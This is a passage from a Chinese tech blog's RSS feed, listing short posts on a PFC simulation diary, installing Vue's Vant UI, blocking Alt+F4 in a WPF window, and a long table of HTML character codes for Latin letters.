      <link>https://bchobby.github.io/posts/11b1cbf7f39ed96781a28c174fa9153e/</link>
      <pubDate>Tue, 16 Mar 2021 16:20:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/11b1cbf7f39ed96781a28c174fa9153e/</guid>
      <description>2021.3.16&#xA;离散元数值模拟PFC日记：&#xA;你好！ 这是我第一次使用CSDN 记录PFC颗粒流学习日记</description>
    </item>
    <item>
      <title>vue VantUI组件初探 使用</title>
      <link>https://bchobby.github.io/posts/504280f0ce2581b0a1956a2f764c0acf/</link>
      <pubDate>Tue, 16 Mar 2021 15:07:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/504280f0ce2581b0a1956a2f764c0acf/</guid>
      <description>第一步：安装 &amp;gt;&amp;gt; cnpm install vant -S 第二步(1)：手动按需导入组件 import Button from &#39;vant/lib/button&#39;; import &#39;vant/lib/button/style&#39;; 第二步(2)：导入全部组件 再main.js import Vue from &#39;vue&#39;; import Vant from &#39;vant&#39;; import &#39;vant/lib/index.css&#39;; Vue.use(Vant); 组件页面直接调用</description>
    </item>
    <item>
      <title>WPF窗体禁用Alt &#43; F4键关闭窗体</title>
      <link>https://bchobby.github.io/posts/94272ae432ab8a288cfa0ca4ea5ef508/</link>
      <pubDate>Tue, 16 Mar 2021 13:58:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/94272ae432ab8a288cfa0ca4ea5ef508/</guid>
      <description>主要用到窗体的两个事件PreviewKeyDown，PreviewKeyUp&#xA;bool AltKeyDown = false;&#xA;private void Window_PreviewKeyDown(object sender, KeyEventArgs e)&#xA;{&#xA;Key key = (e.Key == Key.System ? e.SystemKey : e.Key);&#xA;if (key == Key.LeftAlt || key == Key.RightAlt || key == Key.F4)&#xA;{&#xA;AltKeyDown = true;&#xA;}&#xA;if (key == Key.F4 &amp;amp;&amp;amp; AltKeyDown)&#xA;{&#xA;e.Handled = true;&#xA;}&#xA;}&#xA;private void Window_PreviewKeyUp(object sender, KeyEventArgs e)&#xA;{&#xA;Key key = (e.Key == Key.System ? e.SystemKey : e.Key);&#xA;if (key == Key.</description>
    </item>
    <item>
      <title>html字母相关符号</title>
      <link>https://bchobby.github.io/posts/d6119dce2470eabb2d3eea5871c3f80e/</link>
      <pubDate>Tue, 16 Mar 2021 10:01:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6119dce2470eabb2d3eea5871c3f80e/</guid>
      <description> html符号总汇：https://blog.csdn.net/u012241616/article/details/114867161 字母相关符号 描述符号/显示UNICODEHEX CODEHTML CODEHTML ENTITYCSS CODEUppercase AAU+00041&amp;amp;#x41;&amp;amp;#65; \0041Uppercase BBU+00042&amp;amp;#x42;&amp;amp;#66; \0042Uppercase CCU+00043&amp;amp;#x43;&amp;amp;#67; \0043Uppercase DDU+00044&amp;amp;#x44;&amp;amp;#68; \0044Uppercase EEU+00045&amp;amp;#x45;&amp;amp;#69; \0045Uppercase FFU+00046&amp;amp;#x46;&amp;amp;#70; \0046Uppercase GGU+00047&amp;amp;#x47;&amp;amp;#71; \0047Uppercase HHU+00048&amp;amp;#x48;&amp;amp;#72; \0048Uppercase IIU+00049&amp;amp;#x49;&amp;amp;#73; \0049Uppercase JJU+0004A&amp;amp;#x4a;&amp;amp;#74; \004AUppercase KKU+0004B&amp;amp;#x4b;&amp;amp;#75; \004BUppercase LLU+0004C&amp;amp;#x4c;&amp;amp;#76; \004CUppercase MMU+0004D&amp;amp;#x4d;&amp;amp;#77; \004DUppercase NNU+0004E&amp;amp;#x4e;&amp;amp;#78; \004EUppercase OOU+0004F&amp;amp;#x4f;&amp;amp;#79; \004FUppercase PPU+00050&amp;amp;#x50;&amp;amp;#80; \0050Uppercase QQU+00051&amp;amp;#x51;&amp;amp;#81; \0051Uppercase RRU+00052&amp;amp;#x52;&amp;amp;#82; \0052Uppercase SSU+00053&amp;amp;#x53;&amp;amp;#83; \0053Uppercase TTU+00054&amp;amp;#x54;&amp;amp;#84; \0054Uppercase UUU+00055&amp;amp;#x55;&amp;amp;#85; \0055Uppercase VVU+00056&amp;amp;#x56;&amp;amp;#86; \0056Uppercase WWU+00057&amp;amp;#x57;&amp;amp;#87; \0057Uppercase XXU+00058&amp;amp;#x58;&amp;amp;#88; \0058Uppercase YYU+00059&amp;amp;#x59;&amp;amp;#89; \0059Uppercase ZZU+0005A&amp;amp;#x5a;&amp;amp;#90; \005ALowercase aaU+00061&amp;amp;#x61;&amp;amp;#97; \0061Lowercase bbU+00062&amp;amp;#x62;&amp;amp;#98; \0062Lowercase ccU+00063&amp;amp;#x63;&amp;amp;#99; \0063Lowercase ddU+00064&amp;amp;#x64;&amp;amp;#100; \0064Lowercase eeU+00065&amp;amp;#x65;&amp;amp;#101; \0065Lowercase ffU+00066&amp;amp;#x66;&amp;amp;#102; \0066Lowercase ggU+00067&amp;amp;#x67;&amp;amp;#103; \0067Lowercase hhU+00068&amp;amp;#x68;&amp;amp;#104; \0068Lowercase iiU+00069&amp;amp;#x69;&amp;amp;#105; \0069Lowercase jjU+0006A&amp;amp;#x6a;&amp;amp;#106; \006ALowercase kkU+0006B&amp;amp;#x6b;&amp;amp;#107; \006BLowercase llU+0006C&amp;amp;#x6c;&amp;amp;#108; \006CLowercase mmU+0006D&amp;amp;#x6d;&amp;amp;#109; \006DLowercase nnU+0006E&amp;amp;#x6e;&amp;amp;#110; \006ELowercase ooU+0006F&amp;amp;#x6f;&amp;amp;#111; \006FLowercase ppU+00070&amp;amp;#x70;&amp;amp;#112; \0070Lowercase qqU+00071&amp;amp;#x71;&amp;amp;#113; \0071Lowercase rrU+00072&amp;amp;#x72;&amp;amp;#114; \0072Lowercase ssU+00073&amp;amp;#x73;&amp;amp;#115; \0073Lowercase ttU+00074&amp;amp;#x74;&amp;amp;#116; \0074Lowercase uuU+00075&amp;amp;#x75;&amp;amp;#117; \0075Lowercase vvU+00076&amp;amp;#x76;&amp;amp;#118; \0076Lowercase wwU+00077&amp;amp;#x77;&amp;amp;#119; \0077Lowercase xxU+00078&amp;amp;#x78;&amp;amp;#120; \0078Lowercase yyU+00079&amp;amp;#x79;&amp;amp;#121; \0079Lowercase zzU+0007A&amp;amp;#x7a;&amp;amp;#122; \007AUppercase A with GraveÀU+000C0&amp;amp;#xc0;&amp;amp;#192;&amp;amp;Agrave;\00C0Uppercase A with AcuteÁU+000C1&amp;amp;#xc1;&amp;amp;#193;&amp;amp;Aacute;\00C1Uppercase A with CircumflexÂU+000C2&amp;amp;#xc2;&amp;amp;#194;&amp;amp;Acirc;\00C2Uppercase A with TildeÃU+000C3&amp;amp;#xc3;&amp;amp;#195;&amp;amp;Atilde;\00C3Uppercase A with UmlautÄU+000C4&amp;amp;#xc4;&amp;amp;#196;&amp;amp;Auml;\00C4Uppercase A with RingÅU+000C5&amp;amp;#xc5;&amp;amp;#197;&amp;amp;Aring;\00C5Uppercase AEÆU+000C6&amp;amp;#xc6;&amp;amp;#198;&amp;amp;AElig;\00C6Uppercase C with CedillaÇU+000C7&amp;amp;#xc7;&amp;amp;#199;&amp;amp;Ccedil;\00C7Uppercase E with GraveÈU+000C8&amp;amp;#xc8;&amp;amp;#200;&amp;amp;Egrave;\00C8Uppercase E with AcuteÉU+000C9&amp;amp;#xc9;&amp;amp;#201;&amp;amp;Eacute;\00C9Uppercase E with CircumflexÊU+000CA&amp;amp;#xca;&amp;amp;#202;&amp;amp;Ecirc;\00CAUppercase E with UmlautËU+000CB&amp;amp;#xcb;&amp;amp;#203;&amp;amp;Euml;\00CBUppercase L with GraveÌU+000CC&amp;amp;#xcc;&amp;amp;#204;&amp;amp;Lgrave;\00CCUppercase L with AcuteÍU+000CD&amp;amp;#xcd;&amp;amp;#205;&amp;amp;Lacute;\00CDUppercase L with CircumflexÎU+000CE&amp;amp;#xce;&amp;amp;#206;&amp;amp;Lcirc;\00CEUppercase L with UmlautÏU+000CF&amp;amp;#xcf;&amp;amp;#207;&amp;amp;Luml;\00CFUppercase ETHÐU+000D0&amp;amp;#xd0;&amp;amp;#208;&amp;amp;ETH;\00D0Uppercase N with TildeÑU+000D1&amp;amp;#xd1;&amp;amp;#209;&amp;amp;Ntilde;\00D1Uppercase O with GraveÒU+000D2&amp;amp;#xd2;&amp;amp;#210;&amp;amp;Ograve;\00D2Uppercase O with AcuteÓU+000D3&amp;amp;#xd3;&amp;amp;#211;&amp;amp;Oacute;\00D3Uppercase O with CircumflexÔU+000D4&amp;amp;#xd4;&amp;amp;#212;&amp;amp;Ocirc;\00D4Uppercase O with TildeÕU+000D5&amp;amp;#xd5;&amp;amp;#213;&amp;amp;Otilde;\00D5Uppercase O with UmlautÖU+000D6&amp;amp;#xd6;&amp;amp;#214;&amp;amp;Ouml;\00D6Uppercase O with SlashØU+000D8&amp;amp;#xd8;&amp;amp;#216;&amp;amp;Oslash;\00D8Uppercase U with GraveÙU+000D9&amp;amp;#xd9;&amp;amp;#217;&amp;amp;Ugrave;\00D9Uppercase U with AcuteÚU+000DA&amp;amp;#xda;&amp;amp;#218;&amp;amp;Uacute;\00DAUppercase U with CircumflexÛU+000DB&amp;amp;#xdb;&amp;amp;#219;&amp;amp;Ucirc;\00DBUppercase U with UmlautÜU+000DC&amp;amp;#xdc;&amp;amp;#220;&amp;amp;Uuml;\00DCUppercase Y with AcuteÝU+000DD&amp;amp;#xdd;&amp;amp;#221;&amp;amp;Yacute;\00DDUppercase THORNÞU+000DE&amp;amp;#xde;&amp;amp;#222;&amp;amp;THORN;\00DELowercase ess-zedßU+000DF&amp;amp;#xdf;&amp;amp;#223;&amp;amp;szlig;\00DFLowercase a with GraveàU+000E0&amp;amp;#xe0;&amp;amp;#224;&amp;amp;agrave;\00E0Lowercase a with AcuteáU+000E1&amp;amp;#xe1;&amp;amp;#225;&amp;amp;aacute;\00E1Lowercase a with CircumflexâU+000E2&amp;amp;#xe2;&amp;amp;#226;&amp;amp;acirc;\00E2Lowercase a with TildeãU+000E3&amp;amp;#xe3;&amp;amp;#227;&amp;amp;atilde;\00E3Lowercase a with UmlautäU+000E4&amp;amp;#xe4;&amp;amp;#228;&amp;amp;auml;\00E4Lowercase a with RingåU+000E5&amp;amp;#xe5;&amp;amp;#229;&amp;amp;aring;\00E5Lowercase aeæU+000E6&amp;amp;#xe6;&amp;amp;#230;&amp;amp;aelig;\00E6Lowercase c with CedillaçU+000E7&amp;amp;#xe7;&amp;amp;#231;&amp;amp;ccedil;\00E7Lowercase e with GraveèU+000E8&amp;amp;#xe8;&amp;amp;#232;&amp;amp;egrave;\00E8Lowercase e with AcuteéU+000E9&amp;amp;#xe9;&amp;amp;#233;&amp;amp;eacute;\00E9Lowercase e with CircumflexêU+000EA&amp;amp;#xea;&amp;amp;#234;&amp;amp;ecirc;\00EALowercase e with UmlautëU+000EB&amp;amp;#xeb;&amp;amp;#235;&amp;amp;euml;\00EBLowercase i with GraveìU+000EC&amp;amp;#xec;&amp;amp;#236;&amp;amp;igrave;\00ECLowercase i with AcuteíU+000ED&amp;amp;#xed;&amp;amp;#237;&amp;amp;iacute;\00EDLowercase i with CircumflexîU+000EE&amp;amp;#xee;&amp;amp;#238;&amp;amp;icirc;\00EELowercase i with UmlautïU+000EF&amp;amp;#xef;&amp;amp;#239;&amp;amp;iuml;\00EFLowercase ethðU+000F0&amp;amp;#xf0;&amp;amp;#240;&amp;amp;eth;\00F0Lowercase n with TildeñU+000F1&amp;amp;#xf1;&amp;amp;#241;&amp;amp;ntilde;\00F1Lowercase o with GraveòU+000F2&amp;amp;#xf2;&amp;amp;#242;&amp;amp;ograve;\00F2Lowercase o with AcuteóU+000F3&amp;amp;#xf3;&amp;amp;#243;&amp;amp;oacute;\00F3Lowercase o with CircumflexôU+000F4&amp;amp;#xf4;&amp;amp;#244;&amp;amp;ocirc;\00F4Lowercase o with TildeõU+000F5&amp;amp;#xf5;&amp;amp;#245;&amp;amp;otilde;\00F5Lowercase o with UmlautöU+000F6&amp;amp;#xf6;&amp;amp;#246;&amp;amp;ouml;\00F6Lowercase o with SlashøU+000F8&amp;amp;#xf8;&amp;amp;#248;&amp;amp;oslash;\00F8Lowercase u with GraveùU+000F9&amp;amp;#xf9;&amp;amp;#249;&amp;amp;ugrave;\00F9Lowercase u with AcuteúU+000FA&amp;amp;#xfa;&amp;amp;#250;&amp;amp;uacute;\00FALowercase u with CircumflexûU+000FB&amp;amp;#xfb;&amp;amp;#251;&amp;amp;ucirc;\00FBLowercase u with UmlautüU+000FC&amp;amp;#xfc;&amp;amp;#252;&amp;amp;uuml;\00FCLowercase y with AcuteýU+000FD&amp;amp;#xfd;&amp;amp;#253;&amp;amp;yacute;\00FDLowercase thornþU+000FE&amp;amp;#xfe;&amp;amp;#254;&amp;amp;thorn;\00FELowercase y with UmlautÿU+000FF&amp;amp;#xff;&amp;amp;#255;&amp;amp;yuml;\00FFUppercase a With MacronĀU+00100&amp;amp;#x0100;&amp;amp;#256;&amp;amp;Amacr;\0100Lowercase a With MacronāU+00101&amp;amp;#x0101;&amp;amp;#257;&amp;amp;amacr;\0101Uppercase a With BreveĂU+00102&amp;amp;#x0102;&amp;amp;#258;&amp;amp;Abreve;\0102Lowercase a With BreveăU+00103&amp;amp;#x0103;&amp;amp;#259;&amp;amp;abreve;\0103Uppercase a With OgonekĄU+00104&amp;amp;#x0104;&amp;amp;#260;&amp;amp;Aogon;\0104Lowercase a With OgonekąU+00105&amp;amp;#x0105;&amp;amp;#261;&amp;amp;aogon;\0105Uppercase C With AcuteĆU+00106&amp;amp;#x0106;&amp;amp;#262;&amp;amp;Cacute;\0106Lowercase C With AcutećU+00107&amp;amp;#x0107;&amp;amp;#263;&amp;amp;cacute;\0107Uppercase C With CircumflexĈU+00108&amp;amp;#x0108;&amp;amp;#264;&amp;amp;Ccirc;\0108Lowercase C With CircumflexĉU+00109&amp;amp;#x0109;&amp;amp;#265;&amp;amp;ccirc;\0109Uppercase C With Dot AboveĊU+0010A&amp;amp;#x010A;&amp;amp;#266;&amp;amp;Cdot;\010ALowercase C With Dot AboveċU+0010B&amp;amp;#x010B;&amp;amp;#267;&amp;amp;cdot;\010BUppercase C With CaronČU+0010C&amp;amp;#x010C;&amp;amp;#268;&amp;amp;Ccaron;\010CLowercase C With CarončU+0010D&amp;amp;#x010D;&amp;amp;#269;&amp;amp;ccaron;\010DUppercase D With CaronĎU+0010E&amp;amp;#x010E;&amp;amp;#270;&amp;amp;Dcaron;\010ELowercase D With CaronďU+0010F&amp;amp;#x010F;&amp;amp;#271;&amp;amp;dcaron;\010FUppercase D With StrokeĐU+00110&amp;amp;#x0110;&amp;amp;#272;&amp;amp;Dstrok;\0110Lowercase D With StrokeđU+00111&amp;amp;#x0111;&amp;amp;#273;&amp;amp;dstrok;\0111Uppercase E With MacronĒU+00112&amp;amp;#x0112;&amp;amp;#274;&amp;amp;Emacr;\0112Lowercase E With MacronēU+00113&amp;amp;#x0113;&amp;amp;#275;&amp;amp;emacr;\0113Uppercase E With BreveĔU+00114&amp;amp;#x0114;&amp;amp;#276; \0114Lowercase E With BreveĕU+00115&amp;amp;#x0115;&amp;amp;#277; \0115Uppercase E With Dot AboveĖU+00116&amp;amp;#x0116;&amp;amp;#278;&amp;amp;Edot;\0116Lowercase E With Dot AboveėU+00117&amp;amp;#x0117;&amp;amp;#279;&amp;amp;edot;\0117Uppercase E With OgonekĘU+00118&amp;amp;#x0118;&amp;amp;#280;&amp;amp;Eogon;\0118Lowercase E With OgonekęU+00119&amp;amp;#x0119;&amp;amp;#281;&amp;amp;eogon;\0119Uppercase E With CaronĚU+0011A&amp;amp;#x011A;&amp;amp;#282;&amp;amp;Ecaron;\011ALowercase E With CaroněU+0011B&amp;amp;#x011B;&amp;amp;#283;&amp;amp;ecaron;\011BUppercase G With CircumflexĜU+0011C&amp;amp;#x011C;&amp;amp;#284;&amp;amp;Gcirc;\011CLowercase G With CircumflexĝU+0011D&amp;amp;#x011D;&amp;amp;#285;&amp;amp;gcirc;\011DUppercase G With BreveĞU+0011E&amp;amp;#x011E;&amp;amp;#286;&amp;amp;Gbreve;\011ELowercase G With BreveğU+0011F&amp;amp;#x011F;&amp;amp;#287;&amp;amp;gbreve;\011FUppercase G With Dot AboveĠU+00120&amp;amp;#x0120;&amp;amp;#288;&amp;amp;Gdot;\0120Lowercase G With Dot AboveġU+00121&amp;amp;#x0121;&amp;amp;#289;&amp;amp;gdot;\0121Uppercase G With CedillaĢU+00122&amp;amp;#x0122;&amp;amp;#290;&amp;amp;Gcedil;\0122Lowercase G With CedillaģU+00123&amp;amp;#x0123;&amp;amp;#291; \0123Uppercase H With CircumflexĤU+00124&amp;amp;#x0124;&amp;amp;#292;&amp;amp;Hcirc;\0124Lowercase H With CircumflexĥU+00125&amp;amp;#x0125;&amp;amp;#293;&amp;amp;hcirc;\0125Uppercase H With StrokeĦU+00126&amp;amp;#x0126;&amp;amp;#294;&amp;amp;Hstrok;\0126Lowercase H With StrokeħU+00127&amp;amp;#x0127;&amp;amp;#295;&amp;amp;hstrok;\0127Uppercase I With TildeĨU+00128&amp;amp;#x0128;&amp;amp;#296;&amp;amp;Itilde;\0128Lowercase I With TildeĩU+00129&amp;amp;#x0129;&amp;amp;#297;&amp;amp;itilde;\0129Uppercase I With MacronĪU+0012A&amp;amp;#x012A;&amp;amp;#298;&amp;amp;Imacr;\012ALowercase I With MacronīU+0012B&amp;amp;#x012B;&amp;amp;#299;&amp;amp;imacr;\012BUppercase I With BreveĬU+0012C&amp;amp;#x012C;&amp;amp;#300; \012CLowercase I With BreveĭU+0012D&amp;amp;#x012D;&amp;amp;#301; \012DUppercase I With OgonekĮU+0012E&amp;amp;#x012E;&amp;amp;#302;&amp;amp;Iogon;\012ELowercase I With OgonekįU+0012F&amp;amp;#x012F;&amp;amp;#303;&amp;amp;iogon;\012FUppercase I With Dot AboveİU+00130&amp;amp;#x0130;&amp;amp;#304;&amp;amp;Idot;\0130Lowercase Dotless IıU+00131&amp;amp;#x0131;&amp;amp;#305;&amp;amp;imath;\0131Latin Capital Ligature IjĲU+00132&amp;amp;#x0132;&amp;amp;#306;&amp;amp;IJlig;\0132Latin Small Ligature IjĳU+00133&amp;amp;#x0133;&amp;amp;#307;&amp;amp;ijlig;\0133Uppercase J With CircumflexĴU+00134&amp;amp;#x0134;&amp;amp;#308;&amp;amp;Jcirc;\0134Lowercase J With CircumflexĵU+00135&amp;amp;#x0135;&amp;amp;#309;&amp;amp;jcirc;\0135Uppercase K With CedillaĶU+00136&amp;amp;#x0136;&amp;amp;#310;&amp;amp;Kcedil;\0136Lowercase K With CedillaķU+00137&amp;amp;#x0137;&amp;amp;#311;&amp;amp;kcedil;\0137Lowercase KraĸU+00138&amp;amp;#x0138;&amp;amp;#312;&amp;amp;kgreen;\0138Uppercase L With AcuteĹU+00139&amp;amp;#x0139;&amp;amp;#313;&amp;amp;Lacute;\0139Lowercase L With AcuteĺU+0013A&amp;amp;#x013A;&amp;amp;#314;&amp;amp;lacute;\013AUppercase L With CedillaĻU+0013B&amp;amp;#x013B;&amp;amp;#315;&amp;amp;Lcedil;\013BLowercase L With CedillaļU+0013C&amp;amp;#x013C;&amp;amp;#316;&amp;amp;lcedil;\013CUppercase L With CaronĽU+0013D&amp;amp;#x013D;&amp;amp;#317;&amp;amp;Lcaron;\013DLowercase L With CaronľU+0013E&amp;amp;#x013E;&amp;amp;#318;&amp;amp;lcaron;\013EUppercase L With Middle DotĿU+0013F&amp;amp;#x013F;&amp;amp;#319;&amp;amp;Lmidot;\013FLowercase L With Middle DotŀU+00140&amp;amp;#x0140;&amp;amp;#320;&amp;amp;lmidot;\0140Uppercase L With StrokeŁU+00141&amp;amp;#x0141;&amp;amp;#321;&amp;amp;Lstrok;\0141Lowercase L With StrokełU+00142&amp;amp;#x0142;&amp;amp;#322;&amp;amp;lstrok;\0142Uppercase N With AcuteŃU+00143&amp;amp;#x0143;&amp;amp;#323;&amp;amp;Nacute;\0143Lowercase N With AcuteńU+00144&amp;amp;#x0144;&amp;amp;#324;&amp;amp;nacute;\0144Uppercase N With CedillaŅU+00145&amp;amp;#x0145;&amp;amp;#325;&amp;amp;Ncedil;\0145Lowercase N With CedillaņU+00146&amp;amp;#x0146;&amp;amp;#326;&amp;amp;ncedil;\0146Uppercase N With CaronŇU+00147&amp;amp;#x0147;&amp;amp;#327;&amp;amp;Ncaron;\0147Lowercase N With CaronňU+00148&amp;amp;#x0148;&amp;amp;#328;&amp;amp;ncaron;\0148Lowercase N Preceded by ApostropheŉU+00149&amp;amp;#x0149;&amp;amp;#329;&amp;amp;napos;\0149Uppercase EngŊU+0014A&amp;amp;#x014A;&amp;amp;#330;&amp;amp;ENG;\014ALowercase EngŋU+0014B&amp;amp;#x014B;&amp;amp;#331;&amp;amp;eng;\014BUppercase O With MacronŌU+0014C&amp;amp;#x014C;&amp;amp;#332;&amp;amp;Omacr;\014CLowercase O With MacronōU+0014D&amp;amp;#x014D;&amp;amp;#333;&amp;amp;omacr;\014DUppercase O With BreveŎU+0014E&amp;amp;#x014E;&amp;amp;#334; \014ELowercase O With BreveŏU+0014F&amp;amp;#x014F;&amp;amp;#335; \014FUppercase O With Double AcuteŐU+00150&amp;amp;#x0150;&amp;amp;#336;&amp;amp;Odblac;\0150Lowercase O With Double AcuteőU+00151&amp;amp;#x0151;&amp;amp;#337;&amp;amp;odblac;\0151Uppercase Ligature OEŒU+00152&amp;amp;#x0152;&amp;amp;#338;&amp;amp;OElig;\0152Lowercase Ligature oeœU+00153&amp;amp;#x0153;&amp;amp;#339;&amp;amp;oelig;\0153Uppercase R With AcuteŔU+00154&amp;amp;#x0154;&amp;amp;#340;&amp;amp;Racute;\0154Lowercase R With AcuteŕU+00155&amp;amp;#x0155;&amp;amp;#341;&amp;amp;racute;\0155Uppercase R With CedillaŖU+00156&amp;amp;#x0156;&amp;amp;#342;&amp;amp;Rcedil;\0156Lowercase R With CedillaŗU+00157&amp;amp;#x0157;&amp;amp;#343;&amp;amp;rcedil;\0157Uppercase R With CaronŘU+00158&amp;amp;#x0158;&amp;amp;#344;&amp;amp;Rcaron;\0158Lowercase R With CaronřU+00159&amp;amp;#x0159;&amp;amp;#345;&amp;amp;rcaron;\0159Uppercase S With AcuteŚU+0015A&amp;amp;#x015A;&amp;amp;#346;&amp;amp;Sacute;\015ALowercase S With AcuteśU+0015B&amp;amp;#x015B;&amp;amp;#347;&amp;amp;sacute;\015BUppercase S With CircumflexŜU+0015C&amp;amp;#x015C;&amp;amp;#348;&amp;amp;Scirc;\015CLowercase S With CircumflexŝU+0015D&amp;amp;#x015D;&amp;amp;#349;&amp;amp;scirc;\015DUppercase S With CedillaŞU+0015E&amp;amp;#x015E;&amp;amp;#350;&amp;amp;Scedil;\015ELowercase S With CedillaşU+0015F&amp;amp;#x015F;&amp;amp;#351;&amp;amp;scedil;\015FUppercase S With CaronŠU+00160&amp;amp;#x0160;&amp;amp;#352;&amp;amp;Scaron;\0160Lowercase S With CaronšU+00161&amp;amp;#x0161;&amp;amp;#353;&amp;amp;scaron;\0161Uppercase T With CedillaŢU+00162&amp;amp;#x0162;&amp;amp;#354;&amp;amp;Tcedil;\0162Lowercase T With CedillaţU+00163&amp;amp;#x0163;&amp;amp;#355;&amp;amp;tcedil;\0163Uppercase T With CaronŤU+00164&amp;amp;#x0164;&amp;amp;#356;&amp;amp;Tcaron;\0164Lowercase T With CaronťU+00165&amp;amp;#x0165;&amp;amp;#357;&amp;amp;tcaron;\0165Uppercase T With StrokeŦU+00166&amp;amp;#x0166;&amp;amp;#358;&amp;amp;Tstrok;\0166Lowercase T With StrokeŧU+00167&amp;amp;#x0167;&amp;amp;#359;&amp;amp;tstrok;\0167Uppercase U With TildeŨU+00168&amp;amp;#x0168;&amp;amp;#360;&amp;amp;Utilde;\0168Lowercase U With TildeũU+00169&amp;amp;#x0169;&amp;amp;#361;&amp;amp;utilde;\0169Uppercase U With MacronŪU+0016A&amp;amp;#x016A;&amp;amp;#362;&amp;amp;Umacr;\016ALowercase U With MacronūU+0016B&amp;amp;#x016B;&amp;amp;#363;&amp;amp;umacr;\016BUppercase U With BreveŬU+0016C&amp;amp;#x016C;&amp;amp;#364;&amp;amp;Ubreve;\016CLowercase U With BreveŭU+0016D&amp;amp;#x016D;&amp;amp;#365;&amp;amp;ubreve;\016DUppercase U With Ring AboveŮU+0016E&amp;amp;#x016E;&amp;amp;#366;&amp;amp;Uring;\016ELowercase U With Ring AboveůU+0016F&amp;amp;#x016F;&amp;amp;#367;&amp;amp;uring;\016FUppercase U With Double AcuteŰU+00170&amp;amp;#x0170;&amp;amp;#368;&amp;amp;Udblac;\0170Lowercase U With Double AcuteűU+00171&amp;amp;#x0171;&amp;amp;#369;&amp;amp;udblac;\0171Uppercase U With OgonekŲU+00172&amp;amp;#x0172;&amp;amp;#370;&amp;amp;Uogon;\0172Lowercase U With OgonekųU+00173&amp;amp;#x0173;&amp;amp;#371;&amp;amp;uogon;\0173Uppercase W With CircumflexŴU+00174&amp;amp;#x0174;&amp;amp;#372;&amp;amp;Wcirc;\0174Lowercase W With CircumflexŵU+00175&amp;amp;#x0175;&amp;amp;#373;&amp;amp;wcirc;\0175Uppercase Y With CircumflexŶU+00176&amp;amp;#x0176;&amp;amp;#374;&amp;amp;Ycirc;\0176Lowercase Y With CircumflexŷU+00177&amp;amp;#x0177;&amp;amp;#375;&amp;amp;ycirc;\0177Uppercase Y With DiaeresisŸU+00178&amp;amp;#x0178;&amp;amp;#376;&amp;amp;Yuml;\0178Uppercase Z With AcuteŹU+00179&amp;amp;#x0179;&amp;amp;#377;&amp;amp;Zacute;\0179Lowercase Z With AcuteźU+0017A&amp;amp;#x017A;&amp;amp;#378;&amp;amp;zacute;\017AUppercase Z With Dot AboveŻU+0017B&amp;amp;#x017B;&amp;amp;#379;&amp;amp;Zdot;\017BLowercase Z With Dot AboveżU+0017C&amp;amp;#x017C;&amp;amp;#380;&amp;amp;zdot;\017CUppercase Z With CaronŽU+0017D&amp;amp;#x017D;&amp;amp;#381;&amp;amp;Zcaron;\017DLowercase Z With CaronžU+0017E&amp;amp;#x017E;&amp;amp;#382;&amp;amp;zcaron;\017ELowercase Long SſU+0017F&amp;amp;#x017F;&amp;amp;#383; \017FLowercase B With StrokeƀU+00180&amp;amp;#x0180;&amp;amp;#384; \0180Uppercase B With HookƁU+00181&amp;amp;#x0181;&amp;amp;#385; \0181Uppercase B With TopbarƂU+00182&amp;amp;#x0182;&amp;amp;#386; \0182Lowercase B With TopbarƃU+00183&amp;amp;#x0183;&amp;amp;#387; \0183Uppercase Tone SixƄU+00184&amp;amp;#x0184;&amp;amp;#388; \0184Lowercase Tone SixƅU+00185&amp;amp;#x0185;&amp;amp;#389; \0185Uppercase Open OƆU+00186&amp;amp;#x0186;&amp;amp;#390; \0186Uppercase C With HookƇU+00187&amp;amp;#x0187;&amp;amp;#391; \0187Lowercase C With HookƈU+00188&amp;amp;#x0188;&amp;amp;#392; \0188Uppercase African DƉU+00189&amp;amp;#x0189;&amp;amp;#393; \0189Uppercase D With HookƊU+0018A&amp;amp;#x018A;&amp;amp;#394; \018AUppercase D With TopbarƋU+0018B&amp;amp;#x018B;&amp;amp;#395; \018BLowercase D With TopbarƌU+0018C&amp;amp;#x018C;&amp;amp;#396; \018CLowercase Turned DeltaƍU+0018D&amp;amp;#x018D;&amp;amp;#397; \018DUppercase Reversed EƎU+0018E&amp;amp;#x018E;&amp;amp;#398; \018EUppercase SchwaƏU+0018F&amp;amp;#x018F;&amp;amp;#399; \018FUppercase Open EƐU+00190&amp;amp;#x0190;&amp;amp;#400; \0190Uppercase F With HookƑU+00191&amp;amp;#x0191;&amp;amp;#401; \0191Lowercase F With HookƒU+00192&amp;amp;#x0192;&amp;amp;#402; \0192Uppercase G With HookƓU+00193&amp;amp;#x0193;&amp;amp;#403; \0193Uppercase GammaƔU+00194&amp;amp;#x0194;&amp;amp;#404; \0194Lowercase HvƕU+00195&amp;amp;#x0195;&amp;amp;#405; \0195Uppercase IotaƖU+00196&amp;amp;#x0196;&amp;amp;#406; \0196Uppercase I With StrokeƗU+00197&amp;amp;#x0197;&amp;amp;#407; \0197Uppercase K With HookƘU+00198&amp;amp;#x0198;&amp;amp;#408; \0198Lowercase K With HookƙU+00199&amp;amp;#x0199;&amp;amp;#409; \0199Lowercase L With BarƚU+0019A&amp;amp;#x019A;&amp;amp;#410; \019ALowercase Lambda With StrokeƛU+0019B&amp;amp;#x019B;&amp;amp;#411; \019BUppercase Turned MƜU+0019C&amp;amp;#x019C;&amp;amp;#412; \019CUppercase N With Left HookƝU+0019D&amp;amp;#x019D;&amp;amp;#413; \019DLowercase N With Long Right LegƞU+0019E&amp;amp;#x019E;&amp;amp;#414; \019EUppercase O With Middle TildeƟU+0019F&amp;amp;#x019F;&amp;amp;#415; \019FUppercase O With HornƠU+001A0&amp;amp;#x01A0;&amp;amp;#416; \01A0Lowercase O With HornơU+001A1&amp;amp;#x01A1;&amp;amp;#417; \01A1Uppercase OiƢU+001A2&amp;amp;#x01A2;&amp;amp;#418; \01A2Lowercase OiƣU+001A3&amp;amp;#x01A3;&amp;amp;#419; \01A3Uppercase P With HookƤU+001A4&amp;amp;#x01A4;&amp;amp;#420; \01A4Lowercase P With HookƥU+001A5&amp;amp;#x01A5;&amp;amp;#421; \01A5Latin Letter YrƦU+001A6&amp;amp;#x01A6;&amp;amp;#422; \01A6Uppercase Tone TwoƧU+001A7&amp;amp;#x01A7;&amp;amp;#423; \01A7Lowercase Tone TwoƨU+001A8&amp;amp;#x01A8;&amp;amp;#424; \01A8Uppercase EshƩU+001A9&amp;amp;#x01A9;&amp;amp;#425; \01A9Latin Letter Reversed Esh LoopƪU+001AA&amp;amp;#x01AA;&amp;amp;#426; 